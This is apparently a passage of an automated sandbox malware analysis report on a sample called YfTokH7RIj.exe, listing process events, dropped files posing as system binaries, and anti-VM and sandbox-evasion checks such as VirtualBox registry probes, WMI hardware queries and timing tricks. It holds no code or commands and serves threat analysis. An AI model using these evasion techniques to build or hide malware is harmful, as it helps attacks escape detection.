Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\YfTokH7RIj.exe TID: 7096	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\fl.exe TID: 5412	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6792	Thread sleep count: 6077 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6808	Thread sleep count: 3026 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5564	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\services32.exe TID: 808	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\services32.exe TID: 4168	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6916	Thread sleep count: 5811 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6364	Thread sleep count: 2670 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3120	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2264	Thread sleep count: 6578 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4856	Thread sleep count: 1608 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5472	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe TID: 6652	Thread sleep count: 294 > 30
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe TID: 6652	Thread sleep time: -10290000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388	Thread sleep count: 6779 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5388	Thread sleep count: 1467 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1380	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3436	Thread sleep count: 7506 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3436	Thread sleep count: 657 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1472	Thread sleep count: 47 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3660	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3600	Thread sleep count: 5914 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3600	Thread sleep count: 2552 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6708	Thread sleep count: 93 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5744	Thread sleep time: -5534023222112862s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Window / User API: threadDelayed 2635
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Window / User API: threadDelayed 5352
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3026
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5811
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2670
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6578
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1608
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6779
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1467
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7506
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 657
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5914
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2552

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D7B0FC rdtsc

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\fl.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\services32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Thread delayed: delay time: 35000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: YfTokH7RIj.exe, 00000000.00000003.700905971.00000000070BD000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: YfTokH7RIj.exe, 00000000.00000002.732501781.000000000713C000.00000004.00000001.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}oy
Source: services32.exe, 00000013.00000002.812308593.00000000015CD000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllz#u
Source: YfTokH7RIj.exe, 00000000.00000003.700905971.00000000070BD000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareD_2N9618Win32_VideoControllerWTUNSAOAVideoController120060621000000.000000-000.37779.0display.infMSBDAY8PGDSLFPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsU8V_FA62k
Source: YfTokH7RIj.exe, 00000000.00000002.721958830.0000000000B5A000.00000004.00000020.sdmp, fl.exe, 00000007.00000002.764392343.00000000011F8000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: services32.exe, 0000000F.00000002.827356686.0000000001396000.00000004.00000020.sdmp, services32.exe, 0000000F.00000003.793020538.0000000001396000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll00

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D575E8 FindFirstFileA,
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	Code function: 0_2_00D576C4 FindFirstFileA,GetLastError,

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

